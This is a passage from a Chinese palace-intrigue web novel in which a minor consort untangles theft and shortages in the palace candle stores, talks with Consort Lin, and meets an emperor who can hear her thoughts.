拿着棍杖的内侍上前,道:“还是先前的话,说是高才人确实怀了龙胎,前些天滑胎了。高才人悲痛过度,受了大刺激。想着被克扣了蜂蜡,差她们去找了猪血,去库房找江美人,将滑胎的事,怪罪到江美人头上。” 宋宫正伸手在两人鼻下试探过,只见气若游丝,眉头微皱,朝黄梁示意,两人再走了出去。 “红叶绿枝两人胆小,到高才人身边伺候时日不久,吓上一吓,什么都招了。眼下出气多进气少,怕是半条命都没了。我估摸着,她们所言为真。” 听了宋宫正的话,黄梁眉头一皱,道:“你说得也有几分道理。郑太医正与吴太医都诊断过,称高才人气血两亏,定是因着滑胎所致。只是,此事非同小可,灯烛处那边方氏一死,揽月殿发生之事,线索就彻底断了。我就怕,这两件事有关联,皇上将差使交给你我,到时看走眼,差使砸在了手上。” 宋宫正欲言又止,黄梁见状,不悦道:“你吞吞吐吐作甚,有事不妨道来!” “我觉着,此事非同小可。偏生就一直在灯烛上做文章,内藏库那边可不好惹。”宋宫正忧心忡忡道。 “内藏库再不好惹,能越过皇上去不成?”黄梁嗤笑一声,道:“反正,皇上让你我查什么,你我就如实查。” 宋宫正没再多提,黄梁与内藏库都知蔡万峰面和心不和,他巴不得内藏库出事。 “江美人还真是有福气,这次也躲了过去。”宋宫正转开话题,笑道。 黄梁也感慨不已,道:“人的运道,真是说不清楚,那江美人说是木讷,心中却有数。平时一声不响,在撷芳阁时说的那些话,比得上刑部大理寺的官员了。” 宋宫正当时不在,好奇道:“真有那般厉害?” “厉害倒算不上,江美人就不是厉害之人。关键是,她的话,皇上听进去了。” 黄梁袖着手,呵呵两声,道:“高才人曾有身孕之事,我得先去回禀皇上,这里就交给你了。” 宋宫正应了声,转身走到门边,朝屋内瞄了眼,冷冰冰道:“送到柳树巷去。” 柳树巷是生了疾病宫女内侍的安置之所,如果能熬过去,便回到宫中继续当差,如果熬不过去,破苇席裹住。一埋了事。 袁长生到了撷芳阁,守在门前的内侍,远远就迎上前,恭敬地道:“大伴来了。” “都看好了?”袁长生往里面走去,随口问道。 内侍赶忙跟上前,道:“大伴放心,都好好看着呢。” 院中一片昏暗,袁长生道:“且将灯笼点上,高低仍是才人,不可缺了吃食。” 内侍忙让人去点灯,取吃食热水。袁长生四下走动过,带着人离开。 黄梁回到垂拱殿,如实向元明帝回了话。许久,他才听到元明帝说道:“让人好生伺候着,过上两日,送到皇庙去吧。” “是,奴婢这就去。”黄梁躬身后退,心道高才人幸曾有过皇嗣。否则,真真小命难保。 只这一出去,以后再也回不来,青灯古佛过一生了。 元明帝突然道:“你且等着,灯烛处那边…….你将参奏内藏库,市易务的折子取来。” 黄梁心中一惊,旋即暗喜。元明帝要查内藏库,蔡万峰定会倒大霉! * 重华宫。 “娘娘。”绣云急匆匆进屋,低声道:“高才人身边的红叶,昨儿个花了五十个大钱,托采买的人买了一罐子猪血。今朝采买的人将猪血给了红叶。” 林贵妃神情凝重,道:“高才人以前并不出挑,她定是有所图。蜂蜡一出事,我当时就将林氏的买卖交了出来。福庆宫也跟着皇上不愿闹大,丢了尙仪局出来。皇上不愿意闹得太大,气过一场,此事也就揭了过去。灯烛处方氏死了,高才人又闹得这般大,此事,只怕不会善了。” 绣云觑着林贵妃的神色,担忧地道:“娘娘的意思,娘娘会有麻烦?” 林贵妃垂着双眸,陷入了沉思中。 查内藏库的话,从上到下,里里外外都要动一动。 翌日,江舲起身用过早膳,拿起灯烛处账目看了起来。 文涓送完食盒回来,低声道:“美人,听说绿枝红叶被打得快断了气,连夜送到柳树巷去了。高才人暂且没事,还留在撷芳阁。说是她小产了,待养好身子之后,就送去皇庙。” 江舲听过柳树巷,她怔了下,叹了口气,道:“皇庙至少比柳树巷好,人至少能活。唉,短短时日内,撷芳阁就送了两人进皇庙,可见还真是不吉利。” 文涓忙笑着道:“美人也是从撷芳阁来,如何就不吉利了?” 江舲心道她在撷芳阁时,也没太平过。自从来到繁英阁,事情同样一桩接一桩。 “高才人那边,可查到了别的事情?” 文涓摇头,“奴婢就不知了。” 江舲已经有打算,眼前还有一堆事要头疼,一时无暇顾及太多,问道:“文涓,你对灯烛处的宫女可熟悉?” 文涓道:“奴婢到了美人跟前当差,前去领过两次灯烛,与她们打过几次交道。美人得皇上看重,灯烛未曾被克扣,她们也客气得很。” “我以前在撷芳阁时,从没见过蜂蜡。”江舲晃了晃账本,苦笑道:“高才人前来吵闹,其实她并未撒谎。” “美人并不知情,这些也算不到美人头上。”文涓忙安慰道,摸着茶盏温了,重新斟了热茶。 江舲拧起眉,道:“这些天我没管,灯烛处的人还在继续克扣。我没碰克扣下来之物,被谁揣进了荷包中?” “美人,可要奴婢将巧心与兰芸叫来问问?”文涓也答不上来,迟疑着道。 “嗯,你去吧。”江舲说道。 文涓便前去将巧心兰芸叫了来,两人进屋见礼,江舲指着锦凳让她们坐,她不会拐弯抹角,直截了当道:“这些天克扣的灯烛,你们谁拿了?” 巧心兰芸刚在锦凳上坐稳,闻言身子一晃,彼此对视一眼,脸都发白。 “奴婢不敢,请美人彻查。”巧心低头回道。 兰芸跟着道:“美人,只管账目之事,其余的一概不知。” “高才人身边的红叶绿枝,被打得半死,送到柳树巷去了。” 江舲出言威胁,不动声色瞧着她们的反应。见两人都神色惊惶,缓缓道:“以前的账目,我不追究了。但是,你们必须如实交代,克扣下来的东西,到了谁手上,你们也别想隐瞒,毕竟灯烛处那么多人,纸包不住火。” 说罢,江舲暗自得意不已。瞧她,真是大有长进,还会恩威并重了。 巧心兰芸头都快埋到地里去,却绝不吭声。 江舲先前的得意,一下散了。她斟酌了下,试探着问道:“是你们不敢说之人?” 巧心涨红了脸,带着哭腔道:“美人明鉴,奴婢真没拿。” 兰芸咬了咬唇,还是一语不发。 江舲泄了气,她做不到将她们逼进柳树巷,叹道:“行,我也不逼你们了,那我就将灯烛处的人全部换掉,你们去别处当差吧。” 巧心兰芸大惊,江舲要真把她们换掉,她们是女史,说不定被指去做粗使宫女。 “江美人,奴婢真真是没拿啊。”巧心起身跪在地上,兰芸一并起身跪了下来。 巧云哀求道:“求江美人饶了奴婢吧。奴婢,奴婢…….”她一咬牙,小声道:“奴婢都交给了钟尙宫,钟尙宫拿去给了黄嬷嬷。” 兰芸犹豫了下,低低道:“巧心说得是,这些天江美人没管事,钟尙宫让奴婢与巧心,将余下的灯烛都送了去。以后奴婢会留给江美人,不会再给钟尙宫。” 江舲心想果真是赵德妃,不过,她以为赵德妃不会那般蠢,只怕有人借着她的名头拿了去。 她笑了下,道:“各处的灯烛,照着份例,该是多少便是多少,不得克扣。你们要继续留在灯烛处当差,以后就没有油水了。” 两人一下脸色涨红,巧心飞快偷瞄江舲,见她正看着自己,慌乱地垂下头,那些辩解的话,再也说不出口。 兰芸听江舲言中之意,知晓她们也得了好处,识相地没有做声。 只说了几句话,江舲就感到累了,不想再多说,道:“你们回去吧,好好考虑一下,以后该如何办。” 两人忙施礼告退,文涓道:“既然她们靠不住,美人不如将她们都换了。” “换谁?”江舲摊摊手,无奈地道:“别处换来的人,也不一定可靠。何况,灯烛处属尚书内省管,换人要大动干戈,得皇上点头。” 文涓一想也是,道:“美人,不如让奴婢去盯着几天。” 江舲心中一动,道:“你别去,让青纹去。除去如数发放,内物料监送进来,也要人看着。” 青纹在江舲心里远不如文涓可靠,但她聪明。若是她看出差错,那她就真有鬼。 如阿箬芳荷这样的笨蛋,文涓就能将她们轻松制住。聪明却有二心之人,留在身边就是火药桶。 文涓愣了愣,问道:“美人可是不放心青纹?” “你与青纹很要好,信得过她?”江舲好奇问道。 文涓一下不敢回答了,她与青纹虽同在御前,却并不在一处当差。青纹品行如何,文涓也不敢保证。 这时,门外响起匆匆的脚步声,江舲转头看去,青纹掀开门帘,屈了屈膝,道:“江美人,林贵妃来了。” 江舲懵了下,顿时紧张不已。 无事不登三宝殿,更何况是深藏不露的林贵妃! 第29章 江舲忙出去迎接, 林贵妃走路很快,转眼间便来到屋前。她姿态优雅,走动间, 裙摆只如微风吹过河面,轻盈荡漾。 “贵妃娘娘。”江舲紧张地屈膝见礼, 侧身在前,将林贵妃往厅堂迎。 林贵妃如寻常那般, 神情淡淡道:“叨扰了。” “不敢不敢。”江舲回了句, 请林贵妃在上首坐下,文涓青纹奉了热茶上前。 林贵妃端起茶盏吃了好几口, 放下茶盏后,道:“早起回事的多, 忙得连茶都顾不得吃。” “贵妃娘娘辛苦了。”江舲干巴巴道。 林贵妃轻点着头, 不知是在承认辛苦,或只是惯常的动作。她四下打量了一圈,清冷的脸上不见半点波澜。并未将繁英阁曾属中宫当一回事。 “最近发生了好些事, 皆因灯烛而起。揽月殿上的蜂蜡无故熄灭, 方氏自尽, 高才人吵着称滑胎。林氏以前供着宫中的灯烛, 你同样受了不小的牵连。” 林贵妃声音平静, 不急不缓说道:“你我皆算是受害之人, 我掌管宫务这些年,定得罪了不少人。一时分不清楚, 究竟是谁在背后操纵, 要置我,林氏于死地。不知江美人可有得罪过谁?” 江舲愣了愣,听林贵妃话中的意思, 她们既然都是受害人,算是同盟了。 与狼共舞需要高强的本领,江舲对自我认识很清楚。且她以前本是背景板,从未主动得罪人,如实道:“我没有得罪过谁。” 林贵妃道:“江美人可还记得以前的苏才人苏月?” 江舲明白林贵妃的意思,道:“我记得,苏月与我同住一屋,她在中秋宴席上污蔑我要害人。” “苏月很是聪明,并不亲自动手,怂恿许氏出头。许贵人与江美人也无冤无仇,她听了苏月的话,与之为谋来害江美人。” 江舲只是不善表达,当时没反应过来的事,闲暇时仔细一琢磨,也就回过了味。 安排座位之事,苏月肯定办不到,有人在背后帮她。但苏月被罚到皇庙,她却没有供出主谋。看来,有人看出了苏月的想法,在背后顺水推舟而已。 林贵妃道:“江美人处处与人为善,我自相信你。只木秀于林风必摧之,江美人不再如从前。美人的份位在后宫中虽算不得高,管了事,住在繁英阁……” 她抬手朝屋中指了指,嘴角浮起极浅淡的笑:“就是碍了他人的眼,挡了他人的道。” 江舲诚恳地道:“我真正愚钝,实在不知挡了谁的道,贵妃娘娘可能指点一二?” 林贵妃道:“我以为,江美人没挡任何的道。江美人是皇上亲封的美人,亲指的寝宫,亲口同意赵德妃将灯烛处的差使交予你管着。若有人不服,让她们去找皇上去,让皇上也给她们提升份位,指寝宫,指差使。可惜,并非人人都如我这般以为。柿子捡着软的捏,不敢质疑皇上,全都冲着江美人来了。” 一席话,说得江舲差点热泪盈眶。从未有人问过她的意见,她被推到风口浪尖上,成了活靶子。 只因,她们都欺软怕硬! 林贵妃含笑道:“江美人莫要妄自菲薄,你并不愚钝。江美人昨日面对高才人时,冷静沉着,应对得当。换做是我,还真是百口莫辩,戕害龙子的罪名,彻底洗不清了。” 江舲嗖地冷静下来,胸口的激荡迅速退得干干净净。她认为自己愚钝,并非妄自菲薄,亦不自卑。林贵妃明显在捧杀她,要是听了她的夸赞,便不知天高地厚往前冲,她便成了为苏月冲锋陷阵的许贵人。 林贵妃觑着江舲的神色,话锋一转,道:“江美人,我今朝来,是想着请你帮忙。昨日你能冷静处理,心细如发,能想到旁人想不到之处去。江美人如何看方司灯之死?” 江舲见林贵妃并非要借她之手去做事,提上去的心,暂时落回肚中。她昨晚就想过,方司灯虽自尽,线索却并未断。 因为,方司灯自尽,需要有动机。江舲不知方司灯出身背景,在宫中势力。要弄清楚这些,她需要时日。 林贵妃对后宫了若指掌,她去查的话,不消多久就能如数掌握。 江舲有些拿不定主意,她都能想到之处,林贵妃她们想不到。她斟酌了下,问道:“贵妃娘娘,方司灯是何处人,家中有哪些亲人在,在宫中可有交好之人?” 林贵妃道:“方司灯并不姓方,在先帝时期,八岁被采买进宫,跟着教习方女史学习规矩礼仪。她称家中亲人都已经不在,拜了方女史为义母。方女史在她十岁那年因病去世,她从跑腿的粗使杂役做起,后来升了司灯。方司灯从不与人交恶,亦不喜与人结交,向来独来独往。至于方司灯家乡何处,名录记载得并不清楚,只知她是甘州府人。” 江舲心道果然,林贵妃早就想到了,她早就查过方司灯,找不到线索罢了。 “名录上,可有方司灯本来的姓氏?”江舲问道。 林贵妃怔了怔,道:“我须得去亲自看一看。若有的话,江美人打算如何做?” 江舲沉默了,方司灯犯下滔天大罪,要是查到她还有家人亲族,他们会一并受到牵连。 八岁被卖进宫,方司灯要么家境贫寒,要么被家人所不容,故意卖掉了她。 林贵妃不动声色打量着江舲,她心中大致有了想法,便也不催,端起茶盏吃了起来。 江舲左右挣扎,终于放弃了。她认为,所谓的权谋,是人将简单的事情复杂化,再加以算计。她不禁自嘲,自诩痛恨权谋,实则是她做不到。 方司灯之事,在她这里,就到此为止。 “对不住,贵妃娘娘,我不知该如何做。”江舲说道。 林贵妃望着江舲,静默片刻,放下茶盏站起身,道:“江美人既不知,我便不多问了。江美人,我虽不管灯烛处,对灯烛还略知一二。你若有不懂之处,可来重华宫找我。” 江舲忙道感激,将林贵妃送出门。天放晴了,太阳隐约可见,站在廊檐下,仍寒意阵阵。 青纹进屋收拾茶盏出来,江舲道:“你先放下吧,我有些事与你说。” 回屋后,江舲把派她去灯烛处的事说了,“等下你便去吧,劳你多费些心,莫要出了差错。” 青纹神色愣愣,似乎颇为意外。过了片刻,她恭敬应是,将茶盏收到耳房后,便前去了库房。 江舲呼出口气,回去次间继续看账目。文涓提着银丝炭与薰笼进屋,她惊讶地道:“还未到开炉节,何处来的炭?” 文涓往薰笼中夹着炭,道:“御前张善送了来,说是皇上的旨意,虽未到开炉节。天气寒冷,不拘节不节,先拢了炭盆取暖。奴婢等会给美人装上熏球,捧着暖手。” 银丝炭几乎无烟无味,文涓装好手炉递给江舲,支起窗棂,留着条小缝透气。 江舲捧着小巧精致的鎏金熏球,无论她如何滚动,里面装着的炭都不会掉出来。她玩得爱不释手,好奇问道:“我怎地没见到过,你从何处拿来?” “是张善与炭一并拿了来,定是皇上赏了美人。”文涓说道。 江舲哦了声,道:“鎏金贵,还是铜的贵?” “美人真是!”文涓无语,嗔怪地道:“当是鎏金值钱,宫中工匠的手艺,民间哪能比。宫中之物,美人难道还想着拿去换银子不成?” 江舲心道元明帝算是大方了点,熏球不仅值钱,还有用,闲闲道:“我就是问一问。” “美人在外面可不能问了。”文涓眼珠转了转,见四下无人,走到江舲身边,小声说了起来。 “以前高老夫人就闹了笑话,听说她进宫来探望德妃娘娘,德妃娘娘赏了她鎏金的香炉。她拿着香炉去当铺死当,当铺的朝奉眼毒,一眼就认出是宫中的宝贝。当铺在私下里敢收,赵氏的仆从也不知避着人,大而化之拿了去。眼见有人瞧着,朝奉苦不堪言,只能忍痛拒了。后来消息传了出来,京城无人不知。皇上也得知了,连着赏了赵氏几只鎏金的香炉,佛像。德妃娘娘与赵嫔到皇上面前跪了许久,半年都不曾见高老夫人进宫。” 江舲听得兴致勃勃,暗自嘿嘿。要是有人发怒,是拿值钱的东西砸她,砸得满头包她也觉着值。 不过,江舲不解道:“赵氏穷得要当宫中御赐之物了?” 文涓道:“有些高门大户,看着光鲜罢了。府中主子一大堆,吃穿用度皆要上乘,进项少,开销大,渐渐入不敷出,靠着典当填补度日。” 江舲想到贾府,“倒也是。宫中赏赐之物,只能供着。赵氏姐妹都进了宫,赵府算是外戚,排场丢不得,撑起来不易。” 说到这里,江舲脑中灵光闪过,陷入了沉思。 赵府缺银子,赵德妃手上若有的话,肯定会补贴。宫中的布匹,米面粮油炭冰等等,克扣下来皆能换钱。 赵德妃只掌管了灯烛与茶,花木,其余分别由林贵妃与柳贤妃管着。 灯烛的支出,在皇宫开销中占比甚微。克扣下来的那点灯烛,赵德妃还要分些给底下办事的人,一年得不了几个银子。 苍蝇腿再小也是肉,赵德妃拿出来给了江舲,除非她要图更大的利! 江舲思索着皇宫消耗最大,最贵之物,当布匹莫属! 布匹贪不得,一是太过明显,二是布料做成衣衫,容易褪色破旧。 穿戴事关皇家脸面,出来见人瞒不住。她以前的四季衣衫,从未被克扣过。 若是宫中采买布匹,那便不同了。 “你可知道,宫中的布匹从何家采买?”江舲问道。 “美人难道不知?”文涓讶异不已,道:“林氏在蜀州,蜀州的绸布天下闻名,宫中的锦绸,皆是林氏的买卖。听说榷场那边,与番邦的买卖,林氏也有份。” 江舲顿时心下了然,赵德妃放弃灯烛处,盯上了林氏的布匹买卖。她还未来得及从灯烛处彻底抽身,揽月殿上蜂蜡出了事。 林贵妃与赵德妃都没讨了好,一起折损了进去。 谁得利,谁便是凶手。 江舲心头一跳,眼前渐渐浮起一道人影。 第30章 如果林贵妃与赵德妃一起被算计, 后宫就落入柳贤妃之手,她是最大得益者。 不过,江舲摇摆不定, 随即推翻了先前的想法。 毕竟,林贵妃与赵德妃都育有皇子, 还是元明帝唯二的儿子。 柳贤妃所出的皇子早夭,扶养生母早逝的公主萧玉棠, 娘家普通寻常。她平时深居简出, 寡言少语。江舲与她见过几次面,她安静得像是道影子, 毫无存在感。 江舲恍惚记得还未完结的书中,柳贤妃一直在, 主要是林贵妃与赵德妃的争斗。 苏月与她都是背景板, 高才人冒出来,原书剧情中并未有灯烛引起之事。故事走向早已与原书中不同,已经不能作为证据。 就算是查出贪腐, 灯烛上有问题, 林贵妃与赵德妃并不会因此被彻底打倒。而且她们都聪明, 在文德殿时, 江舲见她们隐约有联手之意。 看情形, 林贵妃与赵德妃都并未怀疑柳贤妃, 否则,两人早就该反扑了。 如果柳贤妃是背后操控者, 能在背后无声无息掀起这般大的风浪, 只会比江舲考虑得更周全。 柳贤妃所图,总不会仅仅是后宫的权势吧?待林贵妃或赵德妃儿子登基,贵为太后都保不住她。 至于其他嫔妃, 赵嫔与赵德妃不和,亲姐妹彼此之间了解最深,赵嫔不是赵德妃的对手。赵德妃因此损失惨重,赵氏跟着受连累。赵嫔无法脱离赵氏,她这般做得不偿失。 李婕妤等人,在原书中着墨不多。在江舲看来,她们手中无权无势,无宠,哪怕有心都无力。 江舲想得头疼,最终却一团乱麻。她扔掉账目,瘫倒在榻上哀嚎。 文涓习以为常,她抿嘴一笑,拿了锦被搭在江舲腰上,提着炭框出门。 江舲搂着鎏金熏球躺了一会,阿箬从门帘外探进脑袋,见她并未睡觉,便道:“美人可有空?” “何事?”江舲瞥见芳荷跟在她身后,两人一起前来找她,便坐起了身。 阿箬与芳荷一起走了进来,两人互相看了眼,一幅推着对方先开口的表情。江舲看得无语,道:“有话就直说,不然我没空了。” “美人。”阿箬一听急了,马上道:“美人,奴婢与芳荷都闲着,可以帮青纹一道去库房看着。” 芳荷点头,道:“青纹一人看不过来,要是出了差错,美人又得烦心,奴婢与阿箬想着帮美人分忧解难。” 江舲乐了,她并不生气,智商碾压的爽快,反而让她神清气爽。 阿箬志在升女官,芳荷想多赚些银子出宫。 “做不了女官,也捞不到银子。”江舲慢悠悠,毫不留情戳破了两人的那点小心思。 阿箬耷拉下脑袋,弱弱狡辩:“奴婢没想过要升女官,只想……” 江舲抬手,打断了她与急着想解释的芳荷,正色道:“红叶与绿枝半死不活被送到了柳树巷。” 柳树巷的鼎鼎大名,宫女内侍无人不知。阿箬芳荷瞪大眼,脸色渐渐泛白。 江舲看着她们,突然想到林贵妃赵德妃估计也是这般看她,顿觉着没劲极了:“你们别多想了,老老实实当差。如果你们实在觉得别处更好,我成全你们。” 阿箬芳荷大惊,抢着道:“美人,奴婢不敢。”“奴婢不想走,美人别赶我们走啊!” “出去吧。”江舲浑身无力,不欲与她们多说。 两人赶忙屈膝退了出屋,江舲睁眼望着头顶,忽地就想通了。 她没做亏心事,该紧张的不是她,纠结实属庸人自扰。 青纹聪明能干,库房有她看着,一切安然无恙。 风平浪静过了几日,这天文涓提着食盒进屋,江舲看到她肩膀上的水珠,不禁问道:“下雨了?” “时而下一阵,雨不大,奴婢没打雨伞。”文涓望外拿着饭菜,阿箬在一边帮着忙,插嘴道:“雨虽不大,湿气直往骨头缝里钻,比下雪都要冷,美人可冷?” 屋内拢了薰笼,暖意融融。江舲摇头道不冷,坐下来用饭,“既然天冷,你们也快去用饭,等下凉了。” 阿箬忙出去了,文涓站在那里没动,见她走远了,小声道:“美人,奴婢先前去膳房取饭菜,听说市易务采买米面的两人,前天被黄梁叫了去,就没再见过他们。” 江舲一愣,揽月殿熄灭的蜂蜡,终于燃烧到了内藏库。 “内藏库是蔡万峰管着,他可有事?”江舲忙问道。 文涓道:“蔡大伴管着偌大的内藏库,平时忙得很,很少见到他的人。底下的人,断不敢随意议论他,奴婢不知他的消息。” 现在只查了市易务的两个小喽啰,应该还不到蔡万峰头上。能掌管金山银山的内藏库,蔡万峰肯定开始警醒。 元明帝这是打草惊蛇,还是敲山震虎,江舲就无从得知了。 江舲心事重重用完饭,午间歇息了一会起来,外面雨下得细细密密,次间一片昏暗。 “美人可是要去库房?”文涓见江舲看着窗棂外,与阿箬一起麻利地收拾着榻上的被褥,问道。 天气虽冷,下雨湿漉漉,江舲始终放心不下,道:“我还是走一趟吧。” “奴婢伺候美人一起去。”文涓将被褥交给阿箬,夹了炭放到熏球中,取了风帽雨伞木屐,伺候江舲出门。 到了库房,青纹正在与兰芸巧心说话,看到江舲,她马上迎了上前,道:“美人来了,奴婢正要回来找美人呢。” 江舲看着青纹难得的焦急模样,心里一咯噔,道:“出什么事了?” 青纹拿着账目,道:“美人,沈义今朝还不见人影,库房灯烛所剩不多,顶多用上一天,明日库房就空了。” 巧心兰芸站在一边,附和道:“库房怕走水,照着规矩,顶多备上一天的灯烛。冬日天黑得早,夜长,所需的灯烛比其他时节要多上两成。” “奴婢上午就去寻过钟尙宫回禀此事,钟尙宫不在,说是被宋宫正叫了去。奴婢便打算再等等,说不定沈库监下午就送了来。” 市易务每日都会送灯烛到库房,缺一天不打紧,缺两天的话。偌大的皇宫,夜里伸手不见五指。 “账目给我瞧瞧。”江舲道。 巧心忙上账目奉上,江舲接过一看,这两天各处的灯烛,如常发放了下去。如重华宫福庆宫等,所领比平时要多近一成。 江舲对青纹巧心道:“你们一起去内物料监找沈义,若他不在,找内物料监的监官。就说库房没灯烛了,让他们赶紧送来。” 她再对兰芸道:“你在这里张罗领灯烛之事。” 几人分头去忙,江舲进了库房,看到里面框子空了一半,唉声叹了口气。 文涓跟在江舲身边,低声道:“美人,奴婢觉着,沈义应当是出事了。” 江舲嗯了声,道:“还有钟尙宫。” 文涓吃了一惊:“钟尙宫?” 江舲神色凝重,道:“灯烛处虽是我管着,司灯司属于尚寝局,巧心称先前已去找过钟尙宫,她人不在。尙寝局哪能就那么忙了,钟尙宫人不在,八成是出了事。” 文涓惊疑不定地道:“方司灯之死,莫非与钟尙宫有关?” “方司灯一死,就已经查过钟尙宫,她能安然无恙,应该没查出什么。若她真被宫正司的人带走,应该是因为别的事情。” 江舲说着,愈发不安,叫了小宫女,“你去找一找钟尙宫,就说我在库房等她。” 小宫女忙去了,江舲在库房值房等着。领取灯烛的人渐渐到来,库房的灯烛,不断少下去。 青纹巧心身上衣衫濡湿,急匆匆跑了回来。江舲一看她们的神色,心中大致就有了数。 果然,青纹道:“美人,沈义与内物料监的监管都不在,留着当值的人不敢做主,说是有规矩,必须等他们回来。” 江舲倒不生气,对此已有心理准备。她以前很天真,以为所有的事情,只要做好了计划,就能有好的结果。后来做过社畜之后,发现其实并没有那么简单,一件项目的完成度,并不在于计划,而是执行。 至于究竟是黄梁带走内物料监的人与沈义,未提前做好安排,还是有人在从中作梗,江舲就不清楚了,她全屋必要弄清楚,元明帝黄梁都搞不定之事,她绝不会掺和。 随后,小宫女也跑了回来,气喘吁吁道:“美人,奴婢没见到钟尙宫,说是钟尙宫去了宫正司,就没有回来。” 江舲点头道:“辛苦了,你们去忙吧。” 小宫女忙道不敢,惊慌不定地退下。巧心看向廊檐那边,焦急地道:“美人,接下来该怎么办?” 江舲道:“灯烛虽不在库房,内物料监有,急什么。” 巧心一愣,急道:“美人,内物料监的人不给,库房这边拿不出来。宫门关了之后,打开须得惊动皇城司,到时候,只怕又是一场麻烦。” 内物料监的灯烛库房在宫外,每日由人专门送进宫。皇宫有几重宫门,京城的城门,皇城外城由皇城司守卫。后宫以及垂拱殿部分,涉及到女眷,则由内侍内省的护卫。 眼见人心惶惶,江舲无法,只能硬着头皮去找元明帝。 雨下得没完没了,木屐带起的水珠,溅到裙摆上,雨随着风往身上脸上扑。 熏球的炭早已变凉,江舲想着要见元明帝,心情堪比上坟。拖着沉重的步伐,好不容易来到垂拱殿门前,望着牌匾,直恨不得掉头就回。 “江美人可有事?”守在门口的内侍,见江舲在门前来回徘徊,上前见礼道。 江舲僵硬的脸勉强动了动,道:“我去见皇上。” 内侍疑惑地让开,让人进去回禀。 前殿御书房,元明帝坐在御案后,神色阴沉听着黄梁的回话。半晌后,他咬牙切齿道:“狗东西!朕定饶不了他,剥了他的皮!” 黄梁见元明帝发怒,心中虽得意蔡万峰倒霉,却还是控制不住地害怕,大气都不敢出。 这时,张善悄然在门口探头,见屋内气氛不对,慌忙要退出去。 元明帝正在气头上,厉声骂道:“作甚鬼鬼祟祟!滚进来!” 张善暗自叫苦不迭,一个美人而已,早知就不来替她通传了。他战战兢兢上前禀报道:“皇上,江美人求见。” 元明帝一时以为听错了,“什么?” 张善不明所以,赶忙再说了一遍。元明帝半晌没动,蹭地站起身往外走,“她在何处?” “皇上,照着规矩,江美人不能到前殿,如今在寝宫偏殿等着。”张善忙道。 黄梁忙跟了上去,元明帝走到门口,脚步一顿,道:“你去准备些点心吃食,要多些。” 她总是腹诽他小气,仿佛亏待了她,让她饭都吃不饱。多准备些吃食,好堵上她的嘴! 张善忙拔腿跑去传话,元明帝走了两步,猛然一顿:“去琼华阁,多点几只薰笼,要暖和些!” 若在寝宫见她,保不齐她会以为,他要睡她! 她早早就喊着冷,假装身子弱,想着装病躲懒。多笼几只薰笼,让她无话可说! 黄梁躬身应是,面上不显,暗中却惊诧莫名。 瞧元明帝的阵仗,仿佛他去后妃的寝宫中,后妃迎接他一般! 元明帝抬了抬衣袖,清了清嗓子,手负在后,施施然朝琼华阁走去。 连谢恩都不见人影,平时成天睡大觉,在繁英阁闭门不出。如今她主动到垂拱殿,真真是稀奇! 她到底来作甚,可是终于懂得来谢恩了?好些天没听到她的心声,回想起来,真是让人怀念。 元明帝控制不住心头的期待与激荡,脚步越来越快,大步流星冲进屋。 只瞬间,元明帝的脸黑沉如锅底。 她久违的心声,在耳边嗡嗡:“哎呀,黄梁原来不忙。真是晕了头,早知直接找他,这样就不用见牛粪了!”《 》 30-40 第31章 张善动作快, 领着内侍宫女捧着点心吃食鱼贯进入,薰笼暖融融,香炉吐着龙涎香。 元明帝看得眼睛疼, 对着见礼的江舲,板着脸道:“你来找朕……”想起她并非是来找自己, 话在舌尖一转,硬生生接下去:“有何事?快些, 朕忙得很。” 江舲忙道:“是臣妾的错, 臣妾不该来找皇上……” 元明帝鼻子都气歪了,厉声打断江舲:“快说, 究竟何事?” 江舲吓了一跳,马上将库房灯烛的事说了:“臣妾担心灯烛送不进来, 想着快些解决。” 元明帝皱起眉头, 对黄梁道:“怎么回事?” 黄梁也暗自叫苦,道:“奴婢已经安排好,让内物料监另安排人送灯烛到库房。奴婢这就去查明, 究竟何处出了差错。” 江舲心道果然黄梁已经考虑到了这个问题, 不过, 他也是想当然, 以为一声令下, 底下的人都会照章行事。 且事情有轻重缓急, 眼下重点不在查明究竟谁在捣鬼,先将灯烛送到库房为首要。 江舲道:“黄大伴, 你先让人送灯烛到库房, 其他的慢慢查,劳烦你了。” 元明帝颇为意外地看了眼江舲,心道她还算有几分小机灵鬼, 先前在撷芳阁时就处理得很妥当。 内藏库蔡万峰收受贿赂,吃要索拿,账目不清不楚,底下的人也不干净。 内藏库虽是元明帝的私库,亦肩负着国库的功用。若被朝臣知晓,只怕会闹得收不了场。 元明帝沉吟了下,道:“你让张善亲自走一趟,传朕的旨意,明早务必将灯烛送进宫。蔡万峰那边,你亲自去盯着,别闹得满城风雨。” 黄梁赶忙去了,江舲松了口气,屈膝道:“臣妾告退。” “既然来了,外面下着雨,坐吧,待雨小些再走。”元明帝指着圆鼓锦凳,在对面的榻上坐下,端起茶盏吃了起来。 江舲只能依言坐下,端起热茶吃了口。屋内熏笼太热,龙涎香太浓,她觉着气都快头部过来。接连吃了几口茶,随手拿了块糖咬了口,顿时眼睛一亮。 糖不太甜,里面含有松子,蜂蜜,蜜香松子的香气,萦绕在唇齿之间。含着糖,江舲心情愉悦起来,暂且忘了屋中的憋闷。 元明帝不动声色将江舲的反应瞧在眼里,不知为何,他暗暗松了口气,心道她总算没嫌弃挑嘴。 江舲低眉敛目端坐着,连着悄悄吃了两块糖,与元明帝一并干坐着,开始觉着不自在起来。 “他不忙吗?不日理万机吗?雨要是一直下,难道我就要住在这里了?雨一直下,气氛不算融洽……” 江舲脑中胡思乱想着,脚尖摩挲着厚厚的羊毛地毡,“好柔软啊,应该很贵。小气,只自己用,有本事也雨露均沾啊!” 听到她荒腔走板的声音,元明帝本来想笑,见她又开始编排自己,再笑不出来,问道:“灯烛处那边可有难处,看中谁做司灯?” 江舲一听,飞快嫌弃眼皮望去,与元明帝的视线相对,被抓住的心慌,让她冲口而出道:“难得很,臣妾一个都没看中。” 元明帝不禁笑起来,道:“有那么难?” 江舲懊恼了下,干脆豁了出去,如实道:“难得很。臣妾不会识人,怕选错了人,到时候出了差错,臣妾难辞其咎。” “疑人不用,用人不疑。”元明帝来了兴致,放下茶盏,微微俯身过去,准备好生教她。 江舲暗自腹诽道:“真是废话,我都没看中谁,当然是看谁都值得怀疑。你不如干脆说谁能用,到时候出错,与我无关就行了。” 元明帝满腔的教导之意,被她打击得全消。瞪了她一眼,暗骂了句孺子不可教也,“你是她们的主子,要是出错,你照着规矩罚她们,看她们敢不听话。” 江舲表面恭敬应是,暗戳戳飞快反驳:“你还是皇帝,朝臣官员都不敢背着你贪腐了?难道贪腐的朝臣官员,你都按照律令抄家砍头了?” 